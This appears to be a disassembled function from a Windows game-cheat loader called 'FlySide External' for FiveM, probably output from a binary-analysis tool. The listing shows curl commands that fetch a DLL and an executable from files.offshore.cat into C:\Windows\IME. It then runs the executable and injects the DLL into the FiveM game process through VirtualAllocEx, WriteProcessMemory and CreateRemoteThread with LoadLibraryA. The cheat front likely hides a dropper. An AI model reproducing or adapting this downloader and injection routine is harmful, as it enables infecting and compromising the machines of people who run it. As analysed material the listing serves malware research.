Function at 0x140004190
Capabilities:
Create process on windows
Create thread
Inject thread
Set console window title

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x400
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rsp + 0x3f0], rax
lea rcx, str.FlySide_External
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140004010
lea rcx, [rsp + 0x298]
call fcn.1400057d0
nop
mov dword [rsp + 0x2c0], 0x130
lea rax, [rsp + 0x2c4]
mov rdi, rax
xor eax, eax
mov ecx, 0x12c
rep stosb byte [rdi], al
lea rax, [rsp + 0x158]
mov qword [rsp + 0x78], rax
lea rdx, str.FiveM.exe
mov rcx, qword [rsp + 0x78]
call fcn.1400056c0
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0x80]
call fcn.140003eb0
movzx eax, al
test eax, eax
je 0x1400042dd
lea rdx, [0x140003e30]
lea rcx, [0x140045440]
call fcn.1400051e0
lea rdx, [0x14003e5dc]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e5d8]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__You_need_open_exec_before
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e70]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.FiveM
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e5ac]
mov rcx, rax
call fcn.1400088c0
mov ecx, 0xa763ffff
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14003e614]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e610]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__Waiting_for
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.Fivem
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__Launch_Now__
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e5e0]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
mov byte [rsp + 0x44], 0
movzx eax, byte [rsp + 0x44]
test eax, eax
jne 0x140004614
lea rax, [rsp + 0x178]
mov qword [rsp + 0x88], rax
lea rdx, [0x14003e618]
mov rcx, qword [rsp + 0x88]
call fcn.1400056c0
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0x90]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x198]
mov qword [rsp + 0x98], rax
lea rdx, [0x14003e638]
mov rcx, qword [rsp + 0x98]
call fcn.1400056c0
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xa0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0xa8], rax
lea rdx, [0x14003e658]
mov rcx, qword [rsp + 0xa8]
call fcn.1400056c0
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xb0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xb8], rax
lea rdx, [0x14003e678]
mov rcx, qword [rsp + 0xb8]
call fcn.1400056c0
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xc0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0xc8], rax
lea rdx, [0x14003e698]
mov rcx, qword [rsp + 0xc8]
call fcn.1400056c0
mov qword [rsp + 0xd0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xd0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x218]
mov qword [rsp + 0xd8], rax
lea rdx, [0x14003e6b8]
mov rcx, qword [rsp + 0xd8]
call fcn.1400056c0
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xe0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x238]
mov qword [rsp + 0xe8], rax
lea rdx, [0x14003e6d8]
mov rcx, qword [rsp + 0xe8]
call fcn.1400056c0
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xf0]
call fcn.140003eb0
movzx eax, al
test eax, eax
jne 0x1400045ff
lea rax, [rsp + 0x258]
mov qword [rsp + 0xf8], rax
lea rdx, [0x14003e6f8]
mov rcx, qword [rsp + 0xf8]
call fcn.1400056c0
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0x100]
call fcn.140003eb0
movzx eax, al
test eax, eax
je 0x140004604
mov byte [rsp + 0x44], 1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000439a
lea rcx, str.curl_https:__files.offshore.cat_SLTk6pN8.dll___output_C:_Windows_IME_SLTk6pN8.dll__nul_2_1
call fcn.140017a00
lea rcx, str.curl_https:__files.offshore.cat_fYYRqgWR.exe___output_C:_Windows_IME_fYYRqgWR.exe__nul_2_1
call fcn.140017a00
lea rdx, [0x14003e7f4]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e7f0]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__Injected__
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004010
lea rdx, [0x14003e830]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e82c]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__Thank_you_for_choosing
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.FlySide
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e7f8]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14003e85c]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e858]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__Server_is
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.online
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str._...
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e888]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e884]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__You_have
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.last_update
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e860]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8b4]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8b0]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__The_exec_is
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.not_disabled
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e88c]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8b8]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x14003e8dc]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8d8]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8d4]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, str._FlySide_External
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8f4]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003df0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8f0]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, str.__1
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003e8e0]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rcx, [rsp + 0x278]
call fcn.1400057d0
nop
lea rdx, [rsp + 0x278]
lea rcx, [0x140045680]
call fcn.140008cb0
lea rdx, [0x14003e8f8]
lea rcx, [rsp + 0x278]
call fcn.140008fb0
movzx eax, al
test eax, eax
je 0x140004e14
lea rax, str.C:WindowsIMESLTk6pN8.dll
mov qword [rsp + 0x60], rax
lea rax, str.C:WindowsIME_fYYRqgWR.exe
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x108]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.FiveM_b2699_GTAProcess.exe
mov qword [rsp + 0x110], rax
lea rax, str.FiveM_b2802_GTAProcess.exe
mov qword [rsp + 0x118], rax
lea rax, str.FiveM_b2944_GTAProcess.exe
mov qword [rsp + 0x120], rax
lea rax, str.FiveM_b2189_GTAProcess.exe
mov qword [rsp + 0x128], rax
lea rax, str.FiveM_b2612_GTAProcess.exe
mov qword [rsp + 0x130], rax
lea rax, str.FiveM_b2372_GTAProcess.exe
mov qword [rsp + 0x138], rax
lea rax, str.FiveM_b2060_GTAProcess.exe
mov qword [rsp + 0x140], rax
lea rax, str.FiveM_b2545_GTAProcess.exe
mov qword [rsp + 0x148], rax
mov dword [rsp + 0x40], 0
cmp dword [rsp + 0x40], 0
jne 0x140004b53
mov rcx, qword [rsp + 0x110]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b2e
cmp dword [rsp + 0x40], 0
jne 0x140004b78
mov rcx, qword [rsp + 0x118]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b53
cmp dword [rsp + 0x40], 0
jne 0x140004b9d
mov rcx, qword [rsp + 0x120]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b78
cmp dword [rsp + 0x40], 0
jne 0x140004bc2
mov rcx, qword [rsp + 0x128]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004b9d
cmp dword [rsp + 0x40], 0
jne 0x140004be7
mov rcx, qword [rsp + 0x130]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004bc2
cmp dword [rsp + 0x40], 0
jne 0x140004c0c
mov rcx, qword [rsp + 0x138]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004be7
cmp dword [rsp + 0x40], 0
jne 0x140004c31
mov rcx, qword [rsp + 0x140]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004c0c
cmp dword [rsp + 0x40], 0
jne 0x140004c56
mov rcx, qword [rsp + 0x148]
call fcn.1400040d0
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004c31
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004d4c
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140004d4c
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x50]
cmp byte [rax + rcx], 0
jne 0x140004cc1
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140004d4c
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x48], 0
je 0x140004d5f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x278]
call fcn.1400055e0
nop
lea rcx, [rsp + 0x298]
call fcn.1400055e0
mov eax, dword [rsp + 0x58]
jmp 0x140004eae
lea rdx, [0x14003ea78]
lea rcx, [0x140045440]
call fcn.1400088c0
lea rdx, [0x140003db0]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003ea74]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x14003ea60]
mov rcx, rax
call fcn.1400088c0
lea rdx, [0x140003e30]
mov rcx, rax
call fcn.1400051e0
lea rdx, [0x140008c30]
mov rcx, rax
call fcn.1400051e0
mov ecx, 0xa4c67fff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x278]
call fcn.1400055e0
nop
lea rcx, [rsp + 0x298]
call fcn.1400055e0
jmp 0x140004eac
xor eax, eax
mov rcx, qword [rsp + 0x3f0]
xor rcx, rsp
call fcn.14000ebd0
add rsp, 0x400
pop rdi
ret